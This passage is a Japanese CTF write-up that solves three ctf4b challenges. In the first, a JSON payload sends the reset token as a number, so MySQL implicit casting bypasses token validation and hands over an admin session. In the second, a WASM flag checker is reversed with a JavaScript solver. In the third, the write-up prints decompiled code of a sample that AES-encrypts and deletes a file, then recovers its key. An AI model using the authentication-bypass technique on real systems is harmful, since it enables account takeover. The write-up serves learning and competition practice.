  validatePassword(password: string, hash: string): boolean {
    return bcrypt.compareSync(password, hash);
  }

  async generateResetToken(userid: number): Promise<string> {
    await this.initialized;
    const timestamp = Math.floor(Date.now() / 1000);
    const token = `${timestamp}_${uuidv4()}`;

    await this.pool.execute(
      "UPDATE users SET reset_token = ? WHERE userid = ?",
      [token, userid]
    );
    return token;
  }

  async validateResetTokenByUsername(
    username: string,
    token: string
  ): Promise<boolean> {
    await this.initialized;
    const [rows] = (await this.pool.execute(
      "SELECT COUNT(*) as count FROM users WHERE username = ? AND reset_token = ?",
      [username, token]
    )) as [any[], mysql.FieldPacket[]];
    return rows[0].count > 0;
  }
}

export const db = new Database();

このサービスにはパスワードリセット機能がある。任意のユーザーを指定してリセット用トークンを発行するがトークンを知ることはできず、リセットにはトークンが必要になる。

reset-passwordを見ると意味深けなコードが書かれている。

app.post("/api/reset-password", async (req: Request, res: Response) => {
  try {
    const { username, token, newPassword } = req.body;
    if (!username || !token || !newPassword) {
      return res
        .status(400)
        .json({ error: "Username, token, and new password are required" });
    }

    const isValid = await db.validateResetTokenByUsername(username, token);

    if (!isValid) {
      return res.status(400).json({ error: "Invalid token" });
    }

    // TODO: implement
    // await db.updatePasswordByUsername(username, newPassword);

    // TODO: remove this
    const user = await db.findUser(username);
    if (!user) {
      return res.status(401).json({ error: "Invalid username" });
    }
    req.session.userId = user.userid;
    req.session.username = user.username;

    res.json({
      success: true,
      message: `The function to update the password is not implemented, so I will set you the ${user.username}'s session`,
    });
  } catch (error) {
    console.error("Password reset error:", error);
    res.status(500).json({ error: "Reset failed" });
  }
});

この関数にはそもそもパスワードリセット機能が未実装で、ユーザー名とトークンが正しければそのユーザーのセッションを得られるようになっている。

adminユーザーになるにはdb.validateResetTokenByUsername(username, token)の結果をtrueにできるような入力ができればいい。

validateResetTokenByUsernameは以下の通り。

  async validateResetTokenByUsername(
    username: string,
    token: string
  ): Promise<boolean> {
    await this.initialized;
    const [rows] = (await this.pool.execute(
      "SELECT COUNT(*) as count FROM users WHERE username = ? AND reset_token = ?",
      [username, token]
    )) as [any[], mysql.FieldPacket[]];
    return rows[0].count > 0;
  }

SQL文を突破できるtokenを考える。tokenの形式はgenerateResetTokenに書かれている。

  async generateResetToken(userid: number): Promise<string> {
    await this.initialized;
    const timestamp = Math.floor(Date.now() / 1000);
    const token = `${timestamp}_${uuidv4()}`;

    await this.pool.execute(
      "UPDATE users SET reset_token = ? WHERE userid = ?",
      [token, userid]
    );
    return token;
  }

timestampは一致させられるが、uuidv4を一致させることは不可能だ。しかし間違いなくSQLに問題があるはず。

SQLの仕様について調べながら同時にChatGPTとGeminiにSQLの欠陥を問い詰めていたところ、遂にGemini Proさんが答えを見つけた。

login4b Gemini Pro

tokenのデータはJSON形式内で文字列としてサーバーに送られているが、これを数値として送ることで数値同士の比較を強要させてuuid部分を無視することができる。

よって、adminのReset Tokenを実行して、実行時間のtimestampをtokenとして/api/reset-passwordにPOSTする。tokenの数字は文字列を外して数値にする。例えば次のようになる。

{"username":"admin","token":1753550574,"newPassword":"test2"}

これでadminセッションを獲得できる。

login4b flag

ctf4b{y0u_c4n_byp455_my5q1_imp1ici7_7yp3_c457}

wasm_S_exp (reversing:medium, author:yunox)

フラグをチェックしてくれるプログラム

Web問の息抜きにやったWASM問。

check_flag.wat(module
  (memory (export "memory") 1 )
  (func (export "check_flag") (result i32)
    i32.const 0x7b
    i32.const 38
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x67
    i32.const 20
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x5f
    i32.const 46
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x21
    i32.const 3
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x63
    i32.const 18
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x6e
    i32.const 119
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x5f
    i32.const 51
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x79
    i32.const 59
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x34
    i32.const 9
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x57
    i32.const 4
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x35
    i32.const 37
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x33
    i32.const 12
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x62
    i32.const 111
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x63
    i32.const 45
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x7d
    i32.const 97
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x30
    i32.const 54
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x74
    i32.const 112
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x31
    i32.const 106
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x66
    i32.const 43
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x34
    i32.const 17
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x34
    i32.const 98
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x54
    i32.const 120
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x5f
    i32.const 25
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x6c
    i32.const 127
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x41
    i32.const 26
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 1
    return
  )

  (func $stir (param $x i32) (result i32)
    i32.const 1024
    i32.const 23
    i32.const 37
    local.get $x
    i32.const 0x5a5a
    i32.xor
    i32.mul
    i32.add
    i32.const 101
    i32.rem_u
    i32.add
    return
  )
)

check_flagの16進数がASCIIコードなのでflag文字列だろう。メモリー上のflag文字列を比べている。比較するポジションをstirで計算していると思われるので、何故かJavaScriptで書き起こした。

function stir(seed) {
   reg = 0x5a5a;
   reg ^= seed;
   reg *= 37;
   reg += 23;
   reg %= 101;
   reg += 1024;
   return reg
}

stackを積んで演算していくのでこのようになる。

何故かJavaScriptでソルバーを書いた。

datas =  [[123,38],[103,20],[95,46],[33,3],[99,18],[110,119],[95,51],[121,59],[52,9],[87,4],[53,37],[51,12],[98,111],[99,45],[125,97],[48,54],[116,112],[49,106],[102,43],[52,17],[52,98],[84,120],[95,25],[108,127],[65,26]];

function stir(seed) {
   reg = 0x5a5a;
   reg ^= seed;
   reg *= 37;
   reg += 23;
   reg %= 101;
   //reg += 1024;
   return reg
}

res = new Array(40);
for(i=0;i<datas.length;i++) {
  res[stir(datas[i][1])] = String.fromCharCode(datas[i][0]);
}

console.log(res.join(""));

ctf4b{WAT_4n_345y_l0g1c!}

MAFC (reversing:hard, author:JUCK)

flagが欲しいかい?ならこのマルウェアを解析してみな。

Wanna get flag? if so, Reversing this Malware if you can

ファイルを暗号化するMalwareAnalysis-FirstChallenge.exeとflag.encryptedが配布される。MalwareAnalysis-FirstChallenge.exeをGhidraで逆コンパイルして暗号処理部分を探す。

void FUN_1400011a0(void)

{
  uint uVar1;
  code *pcVar2;
  longlong lVar3;
  BOOL BVar4;
  DWORD nNumberOfBytesToRead;
  HANDLE hFile;
  HANDLE hFile_00;
  void *pvVar5;
  longlong lVar6;
  BYTE *pbData;
  BYTE *_Memory;
  ulonglong _Size;
  longlong lVar7;
  BYTE *pBVar8;
  undefined auStackY_b8 [32];
  HCRYPTKEY local_78;
  HCRYPTPROV local_70;
  undefined4 local_68;
  undefined4 local_64;
  DWORD local_60;
  DWORD local_5c;
  HCRYPTHASH local_58;
  undefined4 local_50;
  undefined4 uStack_4c;
  undefined4 uStack_48;
  undefined4 uStack_44;
  undefined4 local_40;
  ulonglong local_38;
  
  local_38 = DAT_140005000 ^ (ulonglong)auStackY_b8;
  pbData = (BYTE *)0x0;
  hFile = CreateFileA("flag.txt",0x80000000,1,(LPSECURITY_ATTRIBUTES)0x0,3,0x80,(HANDLE)0x0);
  if (hFile == (HANDLE)0xffffffffffffffff) {
    puts("Failed to handle flag.txt\n");
  }
  else {
    hFile_00 = CreateFileA("flag.encrypted",0x40000000,0,(LPSECURITY_ATTRIBUTES)0x0,2,0x80,
                           (HANDLE)0x0);
    if (hFile_00 == (HANDLE)0xffffffffffffffff) {
      puts("Failed to handle flag.encrypted\n");
      goto LAB_140001637;
    }
    BVar4 = CryptAcquireContextW
                      (&local_70,(LPCWSTR)0x0,
                       L"Microsoft Enhanced RSA and AES Cryptographic Provider",0x18,0);
    if ((BVar4 == 0) &&
       (BVar4 = CryptAcquireContextW
                          (&local_70,(LPCWSTR)0x0,
                           L"Microsoft Enhanced RSA and AES Cryptographic Provider",0x18,8),
       BVar4 == 0)) {
      puts("CryptAcquireContext() Error\n");
      goto LAB_140001637;
    }
    BVar4 = CryptCreateHash(local_70,0x800c,0,0,&local_58);
    if (BVar4 == 0) {
      puts("CryptCreateHash() Error\n");
      goto LAB_140001637;
    }
    local_40 = 0x79654b;
    local_50._0_1_ = 'T';
    local_50._1_1_ = 'h';
    local_50._2_1_ = 'i';
    local_50._3_1_ = 's';
    uStack_4c._0_1_ = 'I';
    uStack_4c._1_1_ = 's';
    uStack_4c._2_1_ = 'T';
    uStack_4c._3_1_ = 'h';
    uStack_48._0_1_ = 'e';
    uStack_48._1_1_ = 'E';
    uStack_48._2_1_ = 'n';
    uStack_48._3_1_ = 'c';
    uStack_44._0_1_ = 'r';
    uStack_44._1_1_ = 'y';
    uStack_44._2_1_ = 'p';
    uStack_44._3_1_ = 't';
    lVar6 = -1;
    do {
      lVar7 = lVar6 + 1;
      lVar3 = lVar6 + 1;
      lVar6 = lVar7;
    } while (*(char *)((longlong)&local_50 + lVar3) != '\0');
    BVar4 = CryptHashData(local_58,(BYTE *)&local_50,(DWORD)lVar7,0);
    if (BVar4 == 0) {
      puts("CryptHashData() Error\n");
      goto LAB_140001637;
    }
    BVar4 = CryptDeriveKey(local_70,0x6610,local_58,0x1000000,&local_78);
    if (BVar4 == 0) {
      puts("CryptDeriveKey() Error\n");
      goto LAB_140001637;
    }
    local_68 = 1;
    BVar4 = CryptSetKeyParam(local_78,3,(BYTE *)&local_68,0);
    if (BVar4 == 0) {
      puts("CryptSeKeyParam() Error\n");
      goto LAB_140001637;
    }
    BVar4 = CryptSetKeyParam(local_78,1,(BYTE *)L"IVCanObfuscation",0);
    if (BVar4 == 0) {
      puts("CryptSeKeyParam() with IV Error\n");
      goto LAB_140001637;
    }
    local_64 = 1;
    BVar4 = CryptSetKeyParam(local_78,4,(BYTE *)&local_64,0);
    if (BVar4 == 0) {
      puts("CryptSetKeyParam() with set MODE Error\n");
      goto LAB_140001637;
    }
    nNumberOfBytesToRead = GetFileSize(hFile,(LPDWORD)0x0);
    uVar1 = nNumberOfBytesToRead + 0x10;
    _Size = (ulonglong)uVar1;
    pBVar8 = pbData;
    if (uVar1 != 0) {
      if (_Size < 0x1000) {
        pbData = (BYTE *)operator_new(_Size);
      }
      else {
        if ((ulonglong)uVar1 + 0x27 <= _Size) {
          FUN_140001100();
          pcVar2 = (code *)swi(3);
          (*pcVar2)();
          return;
        }
        pvVar5 = operator_new((ulonglong)uVar1 + 0x27);
        if (pvVar5 == (void *)0x0) goto LAB_140001653;
        pbData = (BYTE *)((longlong)pvVar5 + 0x27U & 0xffffffffffffffe0);
        *(void **)(pbData + -8) = pvVar5;
      }
      pBVar8 = pbData + _Size;
      memset(pbData,0,_Size);
    }
    local_60 = 0;
    BVar4 = ReadFile(hFile,pbData,nNumberOfBytesToRead,&local_60,(LPOVERLAPPED)0x0);
    if (BVar4 == 0) {
      puts("ReadFile() Error\n");
    }
    else {
      lVar6 = -1;
      do {
        lVar6 = lVar6 + 1;
      } while (pbData[lVar6] != '\0');
      local_5c = (int)lVar6 + 1;
      BVar4 = CryptEncrypt(local_78,0,1,0,pbData,&local_5c,0x40);
      if (BVar4 == 0) {
        puts("CryptEncrypt() Error\n");
      }
      else {
        BVar4 = WriteFile(hFile_00,pbData,0x40,(LPDWORD)0x0,(LPOVERLAPPED)0x0);
        if (BVar4 == 0) {
          puts("WriteFile() error\n");
        }
        else {
          CloseHandle(hFile);
          CloseHandle(hFile_00);
          BVar4 = DeleteFileA("flag.txt");
          if (BVar4 == 0) {
            puts("DeleteFileA() error\n");
          }
          else {
            BVar4 = CryptDestroyKey(local_78);
            if (BVar4 == 0) {
              puts("CryptDestroyKey() error\n");
            }
            else {
              BVar4 = CryptDestroyHash(local_58);
              if (BVar4 == 0) {
                puts("CryptDestroyHash() error\n");
              }
              else {
                BVar4 = CryptReleaseContext(local_70,0);
                if (BVar4 == 0) {
                  puts("CryptReleaseContext() error\n");
                }
              }
            }
          }
        }
      }
    }
    if (pbData != (BYTE *)0x0) {
      _Memory = pbData;
      if ((0xfff < (ulonglong)((longlong)pBVar8 - (longlong)pbData)) &&
         (_Memory = *(BYTE **)(pbData + -8), (BYTE *)0x1f < pbData + (-8 - (longlong)_Memory))) {
LAB_140001653:
                    /* WARNING: Subroutine does not return */
        _invoke_watson((wchar_t *)0x0,(wchar_t *)0x0,(wchar_t *)0x0,0,0);
      }
      free(_Memory);
    }
  }
LAB_140001637:
  FUN_140001680(local_38 ^ (ulonglong)auStackY_b8);
  return;
}

AES暗号を実行しているわかりやすい実装になっている。この時点でほぼ終了。暗号鍵と初期ベクトルらしき文字列も見えるが、一癖あるように見えるのでChatGPTにこのコードを調べさせた。

MAFC ChatGPT

鍵の末尾のKeyが抜けている点だけは間違いだが、SHA256を使う点とIVがワイド文字列になっていることを見抜いてくれたので上出来だ。

CyberChefで調理できる。

MAFC flag

ctf4b{way_2_90!_y0u_suc3553d_2_ana1yz3_Ma1war3!!!}